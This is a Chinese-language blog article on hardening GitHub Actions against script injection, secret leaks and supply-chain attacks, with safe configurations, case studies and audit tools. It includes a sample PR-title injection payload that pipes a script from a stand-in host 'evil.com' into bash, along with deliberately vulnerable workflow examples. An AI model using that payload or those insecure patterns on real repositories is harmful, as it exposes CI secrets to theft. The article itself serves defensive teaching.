GitHub Actions 安全攻防实战:供应链攻击与加固指南

深入剖析 GitHub Actions 的安全攻击面,包括脚本注入、供应链攻击、权限滥用等,提供完整的加固方案与自动化检测策略,附可运行配置示例。

DevOps 与部署 2026-06-02 15 分钟

GitHub Actions 已成为全球使用最广泛的 CI/CD 平台,月活跃工作流超过 1.2 亿个。但与此同时,针对 CI/CD 管道的供应链攻击在 2025 年增长了 300%,其中 GitHub Actions 是攻击者最青睐的目标之一——因为它天然具备访问代码、密钥和生产环境的能力。大多数开发者的 .github/workflows/ 目录里,藏着比他们想象中更多的安全隐患。

🔐 一、GitHub Actions 攻击面全景分析

在谈加固之前,先搞清楚攻击者能从哪些角度切入。GitHub Actions 的安全模型涉及多个层次:工作流触发机制、Action 来源可信度、运行时权限边界、以及 Secret 的暴露路径。

💉 脚本注入(Script Injection)

脚本注入是 GitHub Actions 中最常见也最危险的漏洞类型。当工作流中使用了 ${{ }} 表达式直接拼接用户可控的数据(如 PR 标题、分支名、Issue 内容)到 Shell 命令或环境变量中时,攻击者可以注入任意命令。

一个典型的漏洞示例:

# ❌ 危险写法:直接将 PR 标题拼接到 shell 命令
name: PR Comment
on:
  pull_request:
    types: [opened]

jobs:
  comment:
    runs-on: ubuntu-latest
    steps:
      - name: Process PR title
        run: echo "Processing ${{ github.event.pull_request.title }}"

攻击者只需创建一个标题为 "; curl evil.com/steal.sh | bash; echo " 的 PR,就能在 Runner 上执行任意命令。

正确的做法是将用户输入通过环境变量传递,而不是直接拼接:

# ✅ 安全写法:通过环境变量隔离用户输入
name: PR Comment
on:
  pull_request:
    types: [opened]

jobs:
  comment:
    runs-on: ubuntu-latest
    steps:
      - name: Process PR title
        env:
          PR_TITLE: ${{ github.event.pull_request.title }}
        run: echo "Processing $PR_TITLE"

⚠️ **警告:**永远不要在 run: 命令中直接使用 ${{ github.event.* }}${{ github.head_ref }} 等用户可控的上下文变量。它们会被直接展开为字符串拼接到 Shell 命令中,等同于直接执行用户输入。

除了 run: 字段,actions/github-script 中的 with: 参数同样存在注入风险:

# ❌ 危险写法:github-script 中的注入
- uses: actions/github-script@v7
  with:
    script: |
      const title = '${{ github.event.pull_request.title }}';
      // 攻击者可以通过 PR 标题注入 JS 代码
# ✅ 安全写法:通过环境变量传递
- uses: actions/github-script@v7
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  with:
    script: |
      const title = process.env.PR_TITLE;

🔑 Secret 泄露路径

Secret 泄露是另一个高频安全问题。很多开发者不清楚 Secret 在哪些场景下会被意外暴露:

泄露场景 风险等级 原因
echo $SECRET 在日志中 🔴 高 GitHub 会自动掩码,但掩码不完美
Fork PR 触发的 workflow 🔴 高 pull_request 事件中 Secret 不可用,但 pull_request_target 中可用且代码可控
Artifact 中包含 Secret 🟡 中 Artifact 可被同一仓库的其他 workflow 下载
缓存投毒泄露 🟡 中 恶意缓存可能包含构建时的环境变量
Debug 日志开启 🔴 高 ACTIONS_STEP_DEBUG=true 会输出所有上下文

📌 记住:pull_request_target 事件运行在目标仓库的上下文中,拥有目标仓库的 Secret 和写权限,但默认 checkout 的是目标仓库的代码。如果在 pull_request_target 中先 checkout PR 的代码再运行,就等于把仓库的 Secret 暴露给了外部攻击者。

# ❌ 极其危险:pull_request_target + checkout PR 代码
name: Danger Zone
on:
  pull_request_target:

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
          # 这会 checkout PR 的代码,但工作流拥有目标仓库的 Secret
      - run: make build  # PR 代码中可以窃取 Secret

🎭 第三方 Action 供应链攻击

GitHub Marketplace 上有超过 2 万个 Action,但大多数开发者在引用它们时使用的是版本标签(如 @v4),而非 SHA 哈希。版本标签是可变引用——Action 作者(或入侵了作者账户的攻击者)可以随时将标签指向不同的 commit。

一个真实的攻击场景:

  1. 攻击者 fork 一个流行的 Action(如 actions/checkout
  2. 在 fork 中添加恶意代码,窃取 GITHUB_TOKEN 和其他 Secret
  3. 通过 typo squatting(如 actions/checkcout)或社会工程诱骗开发者使用
  4. 即使是合法 Action 的维护者账户被入侵,标签也可以被篡改

🛡️ 二、安全加固实战方案

了解了攻击面之后,下面是一套完整的加固方案,从 Action 版本锁定到权限最小化,从 Secret 管理到 OIDC 云部署。

📌 SHA Pinning:锁定 Action 版本

SHA Pinning 是防御供应链攻击的第一道防线。将 Action 引用从版本标签改为完整的 commit SHA,确保即使上游标签被篡改,你的 workflow 也不会受到影响。

# ❌ 危险:使用可变标签
steps:
  - uses: actions/checkout@v4
  - uses: actions/setup-node@v4

# ✅ 安全:使用 SHA 锁定
steps:
  - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v4.2.2
  - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020  # v4.4.0

💡 **提示:**SHA 后面的注释(如 # v4.2.2)非常重要,它帮助团队成员理解这个 SHA 对应哪个版本。可以使用 pin-github-action 工具自动完成 SHA 锁定。

批量锁定所有 Action 的自动化脚本:

#!/bin/bash
# pin-actions.sh - 自动将 workflow 中的 Action 引用锁定到 SHA
# 用法: ./pin-actions.sh .github/workflows/*.yml

for workflow in "$@"; do
  echo "Pinning actions in: $workflow"
  # 提取所有 uses: owner/repo@version 格式的引用
  grep -oP 'uses:\s+\K[^/]+/[^@]+@[^ ]+' "$workflow" | while read -r action; do
    owner_repo=$(echo "$action" | cut -d'@' -f1)
    version=$(echo "$action" | cut -d'@' -f2)
    
    # 跳过已经是 SHA 的引用
    if [[ "$version" =~ ^[0-9a-f]{40}$ ]]; then
      continue
    fi
    
    # 通过 GitHub API 获取对应 tag 的 commit SHA
    sha=$(curl -s "https://api.github.com/repos/${owner_repo}/git/ref/tags/${version}" \
      | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('object',{}).get('sha',''))" 2>/dev/null)
    
    if [ -n "$sha" ] && [ "$sha" != "" ]; then
      echo "  Pinning ${owner_repo}@${version} -> ${sha:0:40}"
      sed -i "s|${owner_repo}@${version}|${owner_repo}@${sha:0:40}  # ${version}|g" "$workflow"
    fi
  done
done

🔒 最小权限原则(Least Privilege)

GitHub Actions 的默认权限在 2023 年后已改为只读,但很多项目为了方便又手动开放了过多权限。正确的做法是全局只读,按需逐个开放。

# ✅ 最佳实践:全局只读 + 按需开放
name: Secure CI

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

# 全局权限设为只读
permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v4.2.2
      - run: npm test

  publish:
    if: github.ref == 'refs/heads/main'
    needs: test
    runs-on: ubuntu-latest
    # 只有发布 job 才需要写权限
    permissions:
      contents: write
      packages: write
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
      - run: npm publish

下表列出了常见权限的最小需求:

权限 读取(read) 写入(write) 典型场景
contents checkout 代码 创建 Release、推送代码 构建需要读,发布需要写
packages 拉取镜像 推送容器镜像 Docker 构建发布
issues 读取 Issue 创建/更新 Issue 自动化 Issue 管理
pull-requests 读取 PR 创建 Review Comment 代码审查机器人
id-token 请求 OIDC Token 云服务无密钥部署
actions 读取 Artifact 上传/下载 Artifact 跨 Job 传递产物

🔐 OIDC 无密钥部署

传统方式下,部署到 AWS/GCP/Azure 需要在 GitHub Secrets 中存储长期凭证(Access Key)。OIDC(OpenID Connect)允许 GitHub Actions 直接向云服务商证明身份,无需存储任何长期密钥。

# ✅ 使用 OIDC 部署到 AWS,无需存储 Access Key
name: Deploy to AWS

on:
  push:
    branches: [main]

permissions:
  contents: read
  id-token: write  # 必须:请求 OIDC token

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683

      # 配置 AWS CLI 使用 OIDC
      - name: Configure AWS Credentials
        uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502  # v4
        with:
          role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsRole
          aws-region: ap-southeast-1

      # 直接使用,无需手动配置凭证
      - name: Deploy
        run: |
          aws s3 sync ./dist s3://my-bucket --delete

AWS 侧需要配置信任策略,允许 GitHub 的 OIDC Provider 代入角色:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
        },
        "StringLike": {
          "token.actions.githubusercontent.com:sub": "repo:your-org/your-repo:ref:refs/heads/main"
        }
      }
    }
  ]
}

⚡ **关键结论:**OIDC 不仅更安全(没有长期密钥泄露风险),还更易管理——不需要轮换密钥,不需要在多个仓库间同步 Secret。所有主流云服务商(AWS、GCP、Azure)都已支持 GitHub Actions OIDC。

🚨 三、真实攻击案例与自动化检测

📊 案例分析:Codecov 供应链攻击(2021)

2021 年的 Codecov 事件是 CI/CD 供应链攻击的经典案例。攻击者修改了 Codecov 的 Bash Uploader 脚本,使其在 CI 环境中收集环境变量(包括 Secret)并发送到攻击者服务器。

攻击链:

  1. Codecov 的 Docker 镜像构建过程中存在竞态条件
  2. 攻击者修改了上传脚本,添加了数据外泄代码
  3. 所有使用该脚本的 CI 管道自动执行恶意代码
  4. 攻击者获得了大量企业的 Secret、AWS Key、数据库凭证

教训:即使是广泛使用的 CI 工具也可能被篡改。SHA Pinning + 最小权限 + Secret 审计是基本防线。

🔍 案例分析:Ultralytics PyPI 投毒(2024)

2024 年 12 月,流行的 AI 库 Ultralytics(YOLOv8)在 PyPI 上发布了被投毒的版本。攻击者通过 GitHub Actions 的 workflow 漏洞注入恶意代码,自动发布了包含加密货币挖矿程序的包。

攻击路径:攻击者利用了 workflow 中的 pull_request_target 事件,结合不安全的 checkout 操作,在 CI 环境中执行了恶意代码并篡改了发布流程。

🤖 自动化安全检测

手动审计 workflow 效率低下,推荐使用自动化工具持续检测:

# .github/workflows/security-audit.yml
name: Workflow Security Audit

on:
  pull_request:
    paths:
      - '.github/workflows/**'

jobs:
  audit:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      security-events: write
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683

      # 使用 Zizmor 检测 workflow 安全问题
      - name: Run Zizmor
        run: |
          pip install zizmor
          zizmor --format sarif .github/workflows/ > results.sarif || true

      # 上传结果到 GitHub Security tab
      - name: Upload SARIF
        uses: github/codeql-action/upload-sarif@v3
        with:
          sarif_file: results.sarif

      # 使用 actionlint 检查语法和安全问题
      - name: Run actionlint
        run: |
          bash <(curl -s https://raw.githubusercontent.com/rhysd/actionlint/main/scripts/download-actionlint.bash)
          ./actionlint -color

推荐的安全检测工具对比:

工具 类型 检测能力 推荐度
Zizmor 静态分析 脚本注入、权限过宽、Secret 泄露 ⭐⭐⭐⭐⭐
actionlint 语法检查 语法错误、表达式问题 ⭐⭐⭐⭐
StepSecurity 运行时防护 网络策略、文件监控 ⭐⭐⭐⭐
Scorecard 供应链评估 整体安全评分 ⭐⭐⭐

💡 **提示:**Zizmor 是目前最推荐的 GitHub Actions 安全审计工具,由 Trail of Bits 团队开发,能够检测出脚本注入、过宽权限、未锁定的 Action 引用等常见问题。建议在所有 PR 中自动运行。

✅ 安全检查清单

将以下检查项加入你的项目 Review 流程:

  • ✅ 所有第三方 Action 使用 SHA 锁定版本
  • ✅ 工作流全局权限设为 contents: read,按需逐个开放
  • ✅ 不在 run: 中直接使用 ${{ github.event.* }} 等用户可控变量
  • ✅ 不使用 pull_request_target + checkout PR 代码的组合
  • ✅ 云部署使用 OIDC 而非长期 Access Key
  • ✅ Secret 范围限制到最小(环境级别 > 仓库级别 > 组织级别)
  • ❌ 避免使用 ACTIONS_STEP_DEBUG=true(除非调试,且确保日志不公开)
  • ❌ 避免在 Artifact 中包含 Secret 或凭证
  • ❌ 避免使用第三方 Action 处理 Secret(优先使用官方 Action)
  • ⚠️ 定期审计仓库的 Secret 列表,清理不再使用的密钥
  • ⚠️ 启用 GitHub 的 “Require approval for all outside collaborators” 策略

💡 总结

GitHub Actions 安全不是一个可以一劳永逸解决的问题,而是一个需要持续关注的过程。核心原则可以归纳为三条:

  1. 不信任任何输入——所有用户可控的数据都通过环境变量传递,绝不直接拼接到命令中
  2. 最小权限——全局只读,按需开放,使用 OIDC 替代长期密钥
  3. 锁定一切——Action 使用 SHA 锁定,依赖版本明确,构建产物可复现

⚡ **关键结论:**安全加固的投入产出比极高——SHA Pinning 只需 5 分钟就能完成,却能防御供应链攻击;权限最小化只需修改几行 YAML,却能将攻击影响从"全面沦陷"降低到"有限暴露"。不要等到出事才行动。

相关工具推荐:

📚 相关文章